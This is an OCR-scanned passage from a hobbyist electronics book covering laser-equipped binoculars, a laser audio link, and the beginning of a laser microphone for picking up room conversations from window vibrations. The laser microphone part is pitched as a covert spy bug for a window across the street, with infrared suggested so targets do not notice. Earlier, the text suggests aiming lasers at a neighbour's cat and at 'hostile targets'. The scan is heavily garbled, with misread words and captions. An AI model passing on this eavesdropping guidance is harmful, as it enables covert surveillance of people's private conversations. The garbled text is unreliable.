target"  on  your  private  property,  like  the  neighbor's 
cat  that  digs  up  your  flower  bed. 

A little  red  laser  spot  hining  the  feet  of  a distant 
hostile  target  is  a sure  way  to  let  them  know  they 
are  unwelcome  and  (hat  you  are  watching  them. 
During  a coven  mission  involving  the  use  of 
several  pairs  of  binoculars,  it  is  quite  easy  to  point 
out  an  exact  location  using  a laser  beam  mounted 
on  one  of  the  pairs  of  binoculars,  like  an  ultra 
long'range  laser  pointer.  The  distance  that  even  a 
cheap  laser  pointer  can  travel  is  truly  amazing, 
and  it  will  most  likely  be  the  ability  of  the 
Imaging  device  used  that  will  fait  short  well 
before  the  laser. 

At  50  X power,  the  binoculars  I used  for  this 
project  can  dearly  see  the  beam  on  a target  two 
miles  away;  after  that.  It  is  the  binoculars  that 
become  the  weak  link.  For  this  project,  you  will 
need  a garden-variety  red  or  green  laser  pointer 
with  a class  III  rating,  which  is  no  more  than  5 mw 
output  power,  and  a pair  of  decent  binoculars  with 
a rating  of  at  least  30 x.  Binoculars  with  a zoom 
function,  or  wide  field  of  view  would  be  even 
better,  but  any  pair  with  a decent  image  quality  at 


30x  or  more  will  be  just  fine.  The  binoculars  I 
chose  have  a 50x  rating,  and  decent  coated 
optics  for  a clear  image  at  long  range,  as  «;hown 
in  Figure  14-1  with  the  red  laser  pointer. 

The  goal  for  this  project  is  to  mount  the  laser  to 
the  binoculars  so  that  you  can  easily  reach  the 
trigger  when  viewing  your  target.  Also,  the  red 
spot  should  end  up  dead  center  in  the  area  that  you 
are  viewing,  so  that  you  can  pick  off  an  exact  point 
with  your  first  press  of  the  trigger  If  you  are 
attempting  to  send  some  modulated  secret  code  to 
a destination  receiver  in  a populated  area,  for 
example,  then  you  want  to  hii  the  target  right  away 
without  giving  away  your  position.  You  may  think 
the  only  light  given  off  by  this  unit  is  the  little  red 


Figum  V4A  Bi/toculan  with  a Jd-poMfr  wing  and  a 
standard  taser  pmnter. 
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spot  at  the  target,  but  this  is  not  true.  There  is  a 
very  bright  point  of  light  right  at  the  exit  tube  of 
the  laser  pointer  visible  to  the  target  at  many 
hundred  feet.  This  traceable  spot  from  your  la.seris 
more  visible  as  the  angle  berween  the  target  and 
die  decreases,  which  is  why  you  want  to  keep  your 
stray  shots  to  as  few  as  possible. 

To  mount  the  laser  to  the  binoculars,  we  will 
attach  it  to  a plastic  box.  which  vrill  contain  the 
trigger,  and  a battery  power  source  that  will  last 
many  times  longer  than  the  little  button  batteries 
originally  included  with  the  laser.  The  new  power 
.source  will  not  make  the  laser  any  brighter.  a.s  ii 
will  have  the  exact  4.5  volt  rating  as  required  by 
the  poimer,  but  it  will  make  the  batteries  last  for 
months  rather  than  hours.  The  easiest  way  to 
replace  the  power  source  is  to  solder  one  wire  to 
the  battery  spring  inside  the  pointer  (this  Is  the 
negative  terminal),  and  another  wire  to  the  steel 
.shell  (this  will  be  the  pasiiive  tenninal).  The  power 
.source  can  then  take  the  form  of  three  AAA 
baucries  connected  in  series,  or  a 9-voli  baiicfy  run 
through  a 4.5*voli  regulator.  No  matter  what  you 
choose  for  a power  source,  just  make  sure  ii  is  a 
clean  4.5-volts  DC.  or  the  loser  pointer  wilt  cease 
TO  exist.  Once  the  power  wires  have  been  soldered 
to  the  loser  pointer,  mount  it  snuggly  through  a 
hole  in  the  plastic  box  you  have  chosen  to  contain 
the  batteries  and  trigger  a.s  shown  in  Figure  14-2. 
The  little  cap  at  (he  end  will  be  omitted  so 
alignment  will  be  easier  as  well. 

The  original  pushbutton  switch  on  the  laser 
pointer  shell  will  also  need  to  be  permanently  set 
in  the  ON  position,  which  is  accomplished  by 
wrapping  a plastic  tie  firmly  over  the  switch  os 
shown  in  Figure  14-2.  The  pointer  will  be  placed 
through  the  hole  in  the  Ud  so  that  the  power  wires 
and  tie  wrap  arc  inside  the  box.  This  makes  for  a 
much  cleaner  and  professional  looking  design. 

The  main  body  of  the  plastic  box  will  now  be 
attached  to  the  body  of  the  binoculars.  It  is  key 
that  this  be  done  so  the  box  is  exactly  parallel  with 
the  body  of  ibc  binoculars  in  order  to  maintain 
accuracy.  If  the  pla.stic  box  is  even  a fraction  of  an 


Figure  14*3  The  lastr  poiiirer  Mth  external  power 
hods  aiitKhed^ 


inch  off  center,  the  laser  spot  could  be  many  feet 
ofT  the  target  when  you  are  trying  to  target  objects 
hundreds  of  feet  away.  One  way  to  ensure  perfect 
alignment  easily  is  to  bolt  the  box  directly  to  the 
from  of  the  binoculars  using  a bolt  attached  to  the 
threaded  tube  that  joins  the  two  halves  together.  As 
shown  in  Figure  14*3.  this  simple  method  of 
aiiaching  the  box  to  the  binocular  shell  will  ensure 
perfect  alignment  every  time.  The  hollow  threaded 
lube  will  most  likely  he  covered  by  some  type  of 
plastic  plug— Just  pop  it  off  with  a screwdriver  and 
.search  for  a suitable  boll  to  pin  (be  thread  type 
inside  the  hollow  tube. 

The  (rigger  swiich  should  be  a normally  open 
pushbution  mounted  in  a position  that  is  easily 
reached  while  holding  the  binoculars  up  to  your 
eyes.  Figure  14-3  shows  the  position  I found  to  be 
optimal  when  viewing.  There  must  be  plenty  of 
room  lelt  for  your  batteries  as  well  when  the  lid  is 
placed  on  the  box.  so  account  for  this  when 
placing  all  of  the  components.  Also,  because  the 
end  cap  is  not  being  used  to  hold  the  button 
baaeries  in  the  laser  pointer,  the  shell  can  be 
pushed  directly  against  the  inside  of  the  box. 
fuflher  adding  in  alignment.  It  does  not  matter  that 
the  laser  pointer  may  be  slightly  higher  than  the 
exit  lenses  of  the  binoculais,  or  even  to  the  right  or 
left  somewhat,  as  long  a.s  the  beam  does  point 
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Roure  1M-M  TV  comptfifd  lasemoculars.  ready  for 


preaston  tarvenrig 


Figure  lM-3  77i«  plastic  container  is  boUed  to  the 
binocular  shell 

exactly  in  a straight  line.  It  wiJ]  point  in  a straight 
line  if  the  box  and  laser  pointer  shell  are  parallel 
with  the  binoculars  casing.  The  final  product  as 
shown  in  Figure  14*4  is  ready  for  use.  complete 
with  right'handed  trigger  and  power  supply 
provided  by  three  AAA  batteries.  ] have  used  the 
lasemoculars  for  almost  a year  without  replacing 
the  batteries,  a far  cry  from  the  l5-ininute  run  lime 
of  those  little  button  cells.  Mounting  the  base  of 
the  plastic  box  directly  to  the  binocular  shell  also 
makes  it  easy  to  access  the  four  screws  when  it 
does  come  time  to  change  the  batteries  or  make 
modifications  to  the  unit. 

If  your  plastic  box  and  laser  pointer  are  properly 
mounted,  then  your  first  shot  at  a distant  target 
should  present  a bright  spot  directly  In  the  center 
of  your  field  of  view.  Test  your  unit  od  a flat 
surface  directly  ahead  of  your  position  at  distance 
of  several  hundred  feet.  Try  to  avoid  targeting 
through  a closed  window,  as  this  will  not  only  blur 
the  target  image,  but  could  end  up  shooting  the 
laser  beam  back  at  you;  not  a good  thing, 
especially  since  it  will  be  magnified  by  the 
binoculars.  Also,  depending  on  your  choice  of 
laser  wavelength.  It  may  or  may  not  be  visible  at 
distances  greater  than  a few  feet  in  bright  daylight 
A green  laser  pointer  will  do  quite  well  in  daylight, 
especially  when  hitting  reflective  surfaces  such  as 


Figure  IM'S  TV  red  laser  beam  lights  up  a stop  sign 
from  well  over  1000 feet 

signs,  license  plates,  or  reflecting  lights,  but  a red 
pointer  may  fall  short.  Any  type  of  laser,  however, 
will  be  extremely  bnghi  for  hundreds  of  feel  even 
on  a cloudy  day  without  direct  sunlight.  At  night, 
the  distance  that  can  be  taigeted  is  truly  amazing. 
Figure  14*5  shows  the  blinding  reflection  on  a stop 
sign  from  a distance  of  about  1000  feel  just  after 
the  sun  has  begun  to  set.  Some  objects  designed  to 
reflect  light,  such  as  a street  sign,  will  seem  to 
light  up  as  if  on  fire  when  hit  by  the  laser  spot, 
especially  once  it  gets  dark,  a real  attention  getter 
indeed! 

Remember  not  to  aim  a laser  ac  anyone,  or 
anything  that  might  be  affected  by  the  beam,  or 
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you  win  tind  yourself  the  target  of  some  law 
enforcement  action  very  quickly.  Also,  waicb  out 
for  direct  rellecdoDS  such  as  windows,  and  shiny 
steel  surfaces.  The  chance  of  a direct  reOeciion  is 
greatly  reduced  as  the  distance  from  the  reflecti>‘e 
object  increases  from  your  position  however.  The 
lasemocuiars  are  a great  basis  for  further  laser 


Project  B6 — Laser 


Here  is  a simple,  yet  interesting  device  that  will 
send  your  voice  or  any  audio  transmission  through 
the  opcQ  air  to  a distant  location  using  only  a beam 
of  .silent  laser  light.  Because  of  the  direct  path  a 
la.5cr  beam  takes  from  its  origin  to  the  target 
location,  it  would  be  very  hard  for  anyone  to 
intercept  your  communication,  and  even  if  they 
did.  they  would  have  to  know  exactly  how  to 
decode  it.  Even  if  the  laser  beam  was  spotted  by  an 
outside  source,  it  would  most  likely  not  be  thought 
to  contain  an  audio  signal:  it  is  after  all  jusi  a beam 
of  light.  Laser  light  has  another  advantage  over 
radio  waves  or  direct  audio  in  (he  fact  that  it  takes 
only  a few  milliwatts  of  power  to  send  a laser 
beam  many  hundreds  of  feet,  something  a radio 
transmitter  could  not  accomplish  easily.  Encoding 
a lai^r  beam  with  a source  of  oudio  infonnation  is 
a very  simple  task  to  achieve,  a.s  you  con  see  by 
viewing  the  schematic  in  Figure  14-6.  If  you 
include  the  actual  laser  pointer,  (here  are  only  (hree 
components  to  make  the  unit  funedon — (be  laser 
pointer,  a small  transformer  and  a variable  resisux 
to  control  modulation  level. 

The  circuit  allows  the  transmission  of  an  audio 
signal  through  (he  laser  beam  in  the  following 
way:  the  laser  is  powered  via  some  external  DC 
4.5' volt  source  placed  in  series  with  (he  windings 
on  a small  low  impedance  transformer;  the  other 
side  of  the  transformer  is  fed  an  audio  signal  a(  a 
level  strong  enough  to  drive  u speaker,  such  as  that 
from  a radio  or  portable  recording  device;  and. 


experim^iadon.  and  with  a linle  creodvicy.  you 
may  be  able  to  send  secret  transmission  through 
the  ail.  control  far  away  devices,  or  even  determine 
the  distance  from  you  to  the  target  if  you  added  a 
second  User.  Read  on  for  some  other  User 
experiments  that  may  be  of  interest,  or  might 
provide  idea.s  for  modifications. 


Beam  Transmitter 

when  the  audio  is  fed  through  the  transformer,  it 
induces  a small  currem  flow  and  change  in  the 
impedance  at  the  other  side  of  the  transformer 
where  (he  loser  is  connected,  thus  creating  direct 
modulation  of  the  User  due  to  its  flucTuadng  power 
source. 

Basically,  the  small  fluctuations  in  the  loser 
power  supply  induced  by  the  audio  source  into  the 
traitsfwmer  cause  the  la.ser  beam  to  carry  the 
infomiaiion  conuined  in  the  original  audio  source. 
The  key  crunponeni  besides  the  la.ser  pointer  is  the 
transformer  a cube 'Shaped  device  that  contains 
two  separate  coils  of  wire  wound  around  a 
ctmimon  steel  core.  The  perfect  transformer  for 
(his  projeci  will  be  one  that  was  actually  doing  a 
sinular>^  in  the  device  (hat  you  will  remove  it 
from,  changing  or  coupling  an  audio  signal  to 
some  other  device.  Telephones,  answenng 
machines,  older  tape  recorders,  fax  machines, 
are  all  good  sources  of  low  impedance 
transformers  for  this  project.  Yes.  you  could 
actually  use  (he  large  AC  iransformer  from  a wall 
wart  or  from  the  inside  of  a portable  appliance,  but 
(hat  would  result  in  a large  final  [»oject.  The 
perfect  transformer  will  measure  no  more  than  an 
inch  squared,  and  will  look  like  the  one  shown  in 
Figure  14-7. 

The  transformer  will  have  no  less  than  four 
wires  connected  to  it.  and  could  have  as  many  as 
six  or  mon.  We  will  only  be  using  four  of  them, 
two  wires  per  side.  Measure  the  two  wires  or  pins 
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AudU^irtput 


Trwiifbrmer 

Figurp  IM-6  The  laser  beam  iransmltter  is  o very 
simple  project  to  build. 


Figure  IM-7  A small  audio  imns^rmer  salvaged from 
a dead  answering  maehine. 

on  each  side  of  the  transformer  with  an  ohmmeter 
and  make  note  of  the  impedance.  If  (here  are  more 
than  two  wires  on  a side,  measure  across  the  two 
outermost  wires  to  get  a reading.  If  (here  is  no 
reading,  cry  random  pairs  untU  you  get  the  lowest 
reading.  One  side  of  (he  transformer  may  have  a 
lower  resistance  than  the  other-^  to  16  ohms 
would  be  optimal,  and  this  side  will  be  (he  *‘laser'' 
side.  The  other  side  of  the  transformer  might  be 
equal,  which  would  be  good,  but  most  likely  it  will 
have  an  impedance  of  20  to  several  hundred  ohms. 
This  will  be  the  ‘‘audio”  side.  The  laser  side  of  the 
transformer  is  the  circuit  that  connects  the  laser 
pointer  in  series  with  its  power  supply  through  the 
transformer's  winding  as  shown  in  the  schematic 


Figure  IM-6  The  laser  beam  iransmiiier  built  on  a 
small  square  bit  of  perf  board. 

Figure  14-6.  and  the  audio  side  is  the  circuit 
between  (be  audio  input,  potentiometer  and 
transformer's  other  winding.  As  for  powering  the 
laser  pointer,  some  type  of  external  4. 5- volt  DC 
power  source  will  be  needed  such  as  a series  of 
three  AAA  batteries  or  a 9-voli  battery  connected 
through  a 4.5-voli  regulator.  It  is  critical  that  the 
power  supply  does  noi  exceed  4. S- volts,  as  this 
will  instantly  destroy  the  laser  pointer.  Two  wires 
must  be  soldered  to  (he  laser  pointer— one  to  the 
negative  spring  inside  the  shell,  and  another  to  the 
positive  shell  itself.  If  you  don't  think  you  can  get 
(he  soldering  iron  dp  into  the  shell  for  the  negative 
spring  connection,  just  hook  it  with  a stiff  copper 
wire  and  bend  (he  exposed  copper  around  the 
spring  with  a pair  of  needle  nosed  pliers  being 
careful  not  to  allow  the  copper  wire  to  short  with 
(he  positive  pointer  shell.  The  input  connector 
used  to  feed  the  audio  signal  into  the  audio 
side  of  (he  transformer  is  up  to  you,  whichever 
is  most  convenient.  The  final  unit,  as  shown  in 
Figure  Id-S.  will  be  no  larger  than  a few  square 
inches  if  you  found  a suitable  transformer.  The 
4J-vol(  regulator  is  also  shown  on  my  unit,  as  1 
chose  to  power  it  from  a 9-voIt  battery. 

The  unit  cannot  be  tested  at  this  point,  as  you  do 
not  have  a laser  beam  receiver.  Where  do  you  find 
such  a device  you  ask?  Read  on. 
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This  is  the  device  you  will  need  lo  decode  the 
secret  information  traveling  through  the  air  on  a 
laser  beam  if  you  have  built  the  device  from  the 
previous  section.  This  device  is  a link  more 
complicated  thao  the  actual  traosminer,  but  stiU 
remains  a basic  and  easy-to-build  device  with  only 
a handful  of  common  parts.  Have  a quick  look  at 
the  schematic  diagram  in  Figure  14-9,  and  see  If 
you  can  hgure  out  bow  the  modulated  laser  beam 
is  converted  back  into  an  audio  signal. 

The  circuit  must  operate  in  reverse  to  the  laser 
beam  transmitter,  turning  the  modulated  laser  light 
back  into  an  audio  signal,  which  wUl  be  fed  lo  an 
U amplifier.  The  key  to  this  circuit  is  the  NPN 
^ phototransisior.  a device  that  uses  a light  source  to 
^ switch  on  the  collector  and  emitter  junction,  and 
*rj  this  is  the  reason  why  there  are  only  two  leads  on 
^ the  device  (the  base  lead  is  not  necessary).  When 
0 any  amount  of  light  strikes  the  light  sensitive  area 


of  (he  device,  it  causes  a certain  level  of 
conductivity  between  the  emitter  and  collector, 
thus  creating  an  analog  amplifier.  Because  the 
laser  light  coming  from  the  transmitter  is 
modulated  by  (he  audio  signal,  the  voltage  from 
(he  phoioiransistor  will  represent  the  original 
analog  signal  and  can  simply  be  amplified  to 
re-create  (be  original  uxiio. 

The  LM3S6 IC  is  a basic  1-wan  audio  amplifier 
chip  (hat  needs  nothing  more  than  two  capacitors 
and  a power  source  to  operate,  which  is  why  it  was 
chosen  for  this  project.  As  you  can  see  in  the 
schematic  shown  in  Figure  14-9.  the  output  voltage 
from  (he  phototransisior  is  fed  directly  into  the 
input  of  the  LM386  amplifier  IC  for  direct 
amplification.  The  variable  resistor  controls  the 
amplifier's  volume  by  varying  the  voltage  level 
coming  from  the  phototransistor.  Although  this 
receiver  is  very  simple,  and  requires  only  a few 
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R 9 ure  1M  *10  The  completed  laser  beam  receiver 
powering  a S-inch  speaker. 


componeni!i,  its  resuking  audio  level  is  comparable 
with  any  small  iraosisior  radio.  An  old  transistor 
radio  cabinet  with  the  circuit  board  removed  would 
in  fact  make  a great  project  case  for  the  final  unit, 
as  you  could  utilize  the  internal  speaker,  battery 
compartment,  and  headphone  jack.  The  completed 
unit  does  not  take  up  much  room  at  all,  and  can  be 
powered  for  many  hours  from  a 9-volt  battery  as 
shown  in  Figure  14-10, 

There  are  many  styles  of  phototransistors  to 
choose  from  due  to  the  multiple  configurations  of 
lens  styles  which  affect  focal  range,  held  of  view 
and  wavelength.  But.  you  will  not  need  to  worry 
about  this  because  (he  laser  has  such  an  intense 
focus  that  any  of  the  phototransistor  types  will 
work  perfectly.  In  fact,  the  phototransisior  is  $o 
sensitive  to  light,  that  the  laser  beam  can  easily 
saturate  the  base  to  100  per  cent,  which  is  why  the 
resulting  audio  signal  is  much  louder  if  the  beam 
strikes  the  phototrasisistor's  input  window  slightly 
offset,  or  from  a much  greater  distance  than  Just  a 
few  feet.  With  proper  alignment  this  iransmiiicr 
and  receiver  pair  are  easily  capable  of  transmitting 
your  secret  audio  signal  thousands  of  feet  away, 
well  out  of  your  visual  range.  Before  you  start 
beaming  your  top-secret  information  across 
secured  borders,  you  should  put  (be  unit  together 
on  a bit  of  perf  board  and  siait  by  doing  some 
short-range  tests  to  make  sure  everything  is  in 
operation  conecUy.  Bnd  a type  of  cominuous 
audio  source  with  an  output  level  high  enough  to 


drive  a small  speaker  ot  set  of  headphones  and 
input  ibis  into  your  laser  transmitter.  A small 
micTorecorder  or  transistor  radio  is  a good  choice. 
The  receiver  should  be  placed  a few  inches  or 
feet  away  from  the  transmiuer  so  you  can 
visually  align  the  beam  into  the  window  of  the 
phototransistor,  and  insiandy  the  audio  should  be 
heard  from  the  receiver’s  output  speaker.  As  shown 
in  Figure  14-1 1,  there  is  no  visible  connection 
between  my  laser  transmitter  shown  on  the  left  and 
the  loser  receiver  shown  on  the  right,  but  I am  able 
to  hear  ibe  ouqrut  from  the  small  microrecorder  on 
the  receiver’s  speaker  as  though  it  were  powered 
directly  by  the  microrecorder  The  output  from  the 
receiver's  LM.^86  amplifier  IC  actually  produces  a 
louder  output  than  the  original  audio  source. 

Once  you  con  verify  the  short-range  operation  of 
your  laser  transmitter  and  receiver  pair,  you  can 
put  both  units  into  some  type  of  cabinet  for  proper 
mounting,  and  set  your  secret  information  free. 
Wjih  a simple  (ripod  to  mount  the  transmitter  to. 
and  a pair  of  binoculars,  it  wo.s  easy  to  align  the 
transmitter  with  the  receiver  placed  at  a distant 
location  many  blocks  away.  The  only  thing  that 
affecLs  (he  resulting  transmission  will  be 
interruption  of  line-of-sight,  or  movement  ai  the 
imnsmiucr.  which  is  why  sturdy  mounting  is 
important  for  long  distances.  If  you  want  to 
become  ultra  stealthy  with  your  laser  transmission 
system,  install  an  infrared  laser  module  in  place  of 
the  original  visible  red  laser  pointer  and  use  a 
video  camera  or  second  visible  red  laser  for 
alignment.  The  phoiotransistor  is  sensitive  to  just 
about  any  wavelength  of  light  including  infrared, 
so  (he  choice  of  laser  beam  color  is  completely  up 
(0  you.  Also,  to  increase  range  you  may  be 
(empted  to  install  a lens  at  the  receiver  to  magnify 
(be  incoming  signal  as  it  i,s  done  in  many  inftored 
beam  switches  utilizing  infrared  LEDs  for  the 
actual  beam.  Adding  a lens  to  this  device  will  not 
moke  it  function  any  better,  as  (he  laser  beam  is 
already  as  focused  os  possible  from  its  origin,  and 
you  will  only  dislon  the  beam  rather  than  making 
it  any  brighter.  It  is  truly  amazing  how  far  this 
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Project  88— Laser  Microphone  Experiment 


Figure  IM-ll  Short-range  testing.  Transmiller  sluntTi  oit  the  left,  and  receiver  on  the  right. 


device  can  function  if  properly  aligned,  and 
bei^ides  using  a high  quality  la^r  module  with 
focus  adjustment,  the  actual  weak  link  will  not  be 
in  the  distance  possible,  but  your  ability  to  strike 
die  phototnmsistor. 


Well.  I hope  you  had  fun  sending  your  top  .secret 
information  at  light  speed  to  a remote  location,  and 
if  laser  beam  experiroeniation  is  your  kind  of 
thing,  read  oo.  because  il*s  going  to  get  much  more 
interesting  ai>d  devious! 


Project  88— Laser  Microphone  Experiment 


The  laser  microphone  has  lo  be  one  of  my  alMime 
favorite  high-tech  laser  spy  devices,  and  it  has 
been  around  for  many  years,  popping  up  on  just 
about  every  spy  forum  under  names  such  a.s  Laser 
Listener.  Laser  Bug,  Laser  Snooper,  to  name  a 
few,  The  information  presented  on  this  device  U 
rarely  complete,  and  mostly  iocorreci.  so  it  makes 
you  wonder  if  the  device  actually  works  at  all,  w 
is  it  just  another  nerd  myth  such  as  the  “over 
unity  machine'*  or  UFO  engine?  I am  going  to 
settle  this  question  once  and  for  all  by  first 
explaining  how  the  laser  microphone  actually 
works,  and  by  showing  you  hovs-  to  create  your 
own  working  model  from  easy-to-find  parts.  Once 
you  have  a basic  working  model,  you  can  decide 
how  far  you  want  to  take  this  technology,  or  make 


your  own  modifications  to  create  an  entirely  new 
style  laser  bug. 

Before  we  dig  into  the  electronic  pan  of  this 
device,  let's  have  a look  at  how  the  device 
supposedly  works.  When  1 spent  a night  working 
my  favorite  search  engine  on  the  subjeci  of  ‘Saser 
bugs."  and  "laser  listener,"  I came  up  with  the 
same  few  designs  and  a couple  of  ready-made  kits 
and  plans,  each  describing  how  the  laser  light  is 
bounced  off  a target  window,  modulated  by  the 
sound  waves  inside  the  room,  and  then  decoded  by 
(he  receiver  in  almost  the  same  way  our  laser 
receiver  from  the  previous  section  works.  After 
thinking  about  this  and  creating  a few  working 
prototypes.  1 now  realize  that  this  information  is 
not  correct. 
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Modulation  occurs  when  a coDliauous  si^aJ  or 
wave  is  altered  by  an  input  signal  of  varying  levels. 
If  you  look  back  in  this  section  to  our  laser 
transminer  and  receiver  projects,  then  you  will 
remember  that  the  steady  beam  from  the  laser 
pointer  (continuous  signal)  was  modulated  by  the 
microrecorder’s  audio  output  (varied  signal)  to 
create  a laser  beam  that  would  carry  the  audio 
signal  in  a modulated  format  to  the  receiver.  In  that 
system,  modulation  does  indeed  occur  because  the 
impedance  of  the  tiansformer  that  was  placed  in 
series  with  (he  laser  pointer  power  supply  was 
varied  directly  by  the  audio  signal,  creating  a 
resulting  amplitude  modulated  laser  beam.  This  is 
the  same  way  that  almost  all  light  based 
communication  systems  work  including  infrared 
remote  controls,  cordless  headphones  using 
infrared  LEDs  and  even  some  distance  measuring 
devices.  The  loser  microphone,  on  the  other  hand, 
does  not  use  modulation  in  this  way.  as  it  is  just 
not  possible.  The  popular  theory  Is  that  the  small 
vibrations  in  the  target  window  caused  by  noise 
such  as  conversation  in  a room  will  modulate  the 
laser  beam  that  you  have  bounced  off  (he  glass, 
and  because  of  this  will  be  able  to  decode  this 
modulation  back  into  an  audio  signal  in  a way  very 
similar  to  our  laser  receiver  from  the  previous 
section.  The  problem  with  this  theory  is  that  to 
create  modulation  In  the  laser  beam,  the  level  or 
intensity  of  the  beam  would  have  to  be  varied 
according  to  (he  audio  signal  in  the  room,  but  it  is 
not.  Because  the  laser  beam  originates  from  our 
location,  bounces  oft  a target  window  then  returns 
to  (he  receiver  at  our  some  location,  there  would  be 
no  way  for  the  target  to  modulate  our  source  beam, 
and  it  does  indeed  return  to  its  original  location  as 
a non^moduiated  continuous  source  of  light.  OK.  if 
this  is  the  case,  then  how  can  a system  like  this 
actually  function,  and  how  does  it  really  worit? 

The  real  magic  behind  this  device  is  not 
modulation  at  all — it  is  alignment  due  to  vibration. 
If  you  bounce  a laser  beam  off  a window  that  is 
being  vibrated  slightly  by  the  audio  source  behind 
it.  this  will  indeed  affect  it.  but  not  due  to 


ntoduiation  of  its  intensity,  it  will  in  fact  be 
moving.  Although  the  vibrations  of  the  window 
from  the  weak  sound  within  a room  may  equate  to 
only  a few  thousandths  of  an  inch,  this  can  create  a 
much  larger  modon  of  (he  reQecicd  laser  beam  due 
to  the  distance  and  angles  between  the  source  and 
la^et.  and  this  change  in  modon  will  have  a great 
affect  on  a phototransistor,  much  as  it  did  with  the 
acmal  modulated  laser  beam  from  our  laser 
(lansinission  system.  Knowing  this,  we  now  realize 
what  many  others  did  when  building  iliis  type  of 
device — the  unit  always  works  much  better  when 
(he  received  lo.ser  beam  docs  not  directly  strike  the 
phoioiransistor.  If  we  let  the  vibrations  from  (he 
window  move  the  la.ser  In  and  out  of  the  path  of 
the  phototransistor,  then  the  receiver  circuitry 
actually  works  a.s  if  It  were  decoding  a modulated 
signal.  However,  in  reality  it  is  working  much 
more  like  the  vibrating  needle  on  a record  player, 
Armed  with  this  information,  it  was  not  hard  at  all 
to  build  a working  prototype  capable  of  targeting  a 
window  across  the  street.  There  are  indeed  other 
issues  that  need  to  be  overcome  in  such  a sensitive 
and  alignment  critical  device  like  the  laser 
mjcTDpbone,  but  we  will  discuss  this  in  more  detail 
as  we  build  (he  simple  prototype. 

Before  you  even  think  about  creating  the 
receiver,  it  is  highly  recommended  that  you  build 
(be  simple  '* window  simulator"  unit  as  shown  in 
Figure  I4>12.  Without  this  simple  device,  1 would 
not  have  been  able  to  create  the  working  laser 
micrc^hone. 

As  you  can  see  from  Figure  1 4*  1 2,  the  window 
simulator  is  nothing  more  than  a small  speaker 
with  a little  bit  of  reflective  material  glued  to  the 
center  cone.  I snapped  the  comer  of  a broken  glass 
miiTor  using  pliers  then  secured  it  in  place  with  c 
hot  glue  gun.  When  there  is  any  slight  vibration  of 
the  speaker  from  a source  such  as  the  small 
microrecorder  1 ha\e  aitached.  then  there  will  be 
movement  of  the  mirror,  much  like  what  would 
occur  to  a window  from  sound  from  inside  a room. 
To  .simulate  a vibrating  window  as  much  as 
possible,  the  audio  level  of  (he  micro  recorder  Is 
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Project  88— Laser  Microphone  Experiment 


Figure  14-13  The  window  simiilartM-  witt  make  prototyping  a lot  fasrer. 


set  10  a level  so  low  ihai  you  have  to  press  ihe 
speaker  up  to  your  ear  to  ascertain  that  ii  is  even 
working.  The  reflective  surface  does  not  ha\e  to  be 
a mirror,  just  find  something  that  will  refleci  the 
laser  beam  for  testing  purposes. 

Now  that  we  know  the  resulting  laser  beam  will 
be  moving  rather  than  modulaied.  it  should  be  very 
easy  to  make  this  rig  functional,  especially  when 
you  can  use  your  window  simulation  device  rather 
than  your  neighbor's  window  for  testing  purposes. 
A reul  laser  microphone  will  u.se  an  invisible 
infrared  laser  rather  than  the  visible  red  we  will  be 
using,  but  for  now.  this  makes  things  much  easier 
to  align  and  test.  A visible  laser  will  not  only  kill 
ail  hopes  of  using  the  laser  microphone  covertly, 
but  could  get  your  target  very  nervous;  after  all.  a 
red  laser  bouncing  into  your  personal  space  usually 
means  some  evil  device  i$  targeting  you.  Have  a 
look  at  the  schematic  for  the  laser  microphone 
shown  in  Figure  14*  13,  and  you  might  recognize 
certain  pans  from  the  laser  receiver  presented 
earlier. 

The  operation  of  the  la.ser  microphone  receiver 
Is  much  like  the  laser  receiver,  with  the  addition  of 
a high-gain  amplifier.  The  signal  from  the 
phototransistor  was  fed  directly  into  an  LM386 
audio  amplifier  in  the  previous  laser  receiver,  but 
this  fime  goes  to  the  high-galn  amplifier  based  on 
the  LM358  operational  an^lificr  first.  Because  we 
are  not  dealing  with  a modulated  laser  beam,  but 


rather  a beam  with  a very  slight  movement,  we  are 
going  to  need  some  serious  amplification  in  order 
to  change  the  slight  voltage  variances  detected  by 
the  phocotransisior  back  into  an  audible  audio 
signal.  The  LM35S  is  set  up  as  a nan-invening 
amplifier  with  a very  large  amount  of  gain, 
adjustable  by  a variable  resistor.  This  amplified 
signal  is  then  fed  to  the  LM386  audio  amplifier, 
which  will  directly  power  a set  of  headphones  or 
recording  device.  Although  this  receiver  circuit  is 
very  basic,  and  could  be  greatly  improved,  it  did 
actually  seem  to  function  better  than  the  other  two 
1 built  based  on  the  much  more  complicated 
versions  floating  around  on  the  Imemct.  You 
should  build  the  cireuit  on  a proto  board  first,  and 
verify  iu  operation  before  hard- wiring  the 
components  or  making  a circuit  board,  an  easy  task 
to  accomplish  using  the  window  simulator. 
Although  (he  simple  circuit  presented  here  is 
indeed  a working  unit,  you  may  want  to  look  into 
additional  filter  circuits  to  deal  with  60  Hz  hum,  or 
hum  from  street  li^ls  st  night.  I decided  to  build 
the  woiking  unit  as  simple  as  possible,  and  then 
lest  it  in  the  real  world  fim  to  come  up  with  ways 
to  improve  the  unit  and  make  it  easier  to  set  up  and 
give  it  the  ability  to  work  ai  greater  distances. 

My  working  unit  shown  in  Figure  14-14  is  bi«ed 
Ktn  the  simple  circuit  and  hand  wired  to  a bit  of 
perf  board  (or  easy  modification.  I found  hand 
wiring  to  be  fine,  as  all  the  noise  intruded  into  the 
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Figure  1M*I3  Schtmark  for  the  laser  microphone  receiver. 


unit  was  from  externa)  sources  such  os  AC  hum 
and  ambient  light  sources,  not  the  circuitry  itself. 

The  phototr&nsistor  is  not  criiica).  and  any  shape 
will  work  just  fine  since  the  iaser  spot  will  be  very 
directional  and  focused  directly  into  the  input 
window  of  the  device.  I mounted  tny 
phototransisior  on  a length  of  wire  so  that  I could 
expenmeni  with  di^erent  mounting  systems  and 
light  attenuators  to  help  block  out  unwarned  AC 
lighting  causing  hum.  The  best  system  for 
mounting  the  phototransisior  was  a simple  black 
tube  that  would  stop  some  of  (he  ambient  lighi 
from  saturating  the  base.  A bit  of  drinking  straw 
painted  black  fits  nicely  over  many  of  the  standard 
phototransisior  cases.  Originally.  I thought  that  the 
phototransisior  would  be  the  most  critical  part  of 
the  device;  after  all,  it  has  to  delect  the  extremely 
small  changes  in  Che  laser  position  to  recreate  the 
analog  voltage  for  the  audio  amplifier. 

I tried  several  phocotransistors,  a PIN  diode,  and 
even  a new  light  sensor  IC  with  incredible 


Fi9um  m*1M  The  original  laser  microphone  ci/xuit 
hand  wind  onattlr  cfperf  board. 


sensitivity,  but  in  the  end,  the  old  phototransistor 
salvaged  from  a 1980's  television  remote  control 
receiver  worked  best.  After  a bit  of  thinking,  it 
made  sense  as  to  why  the  worst  light  sensor 
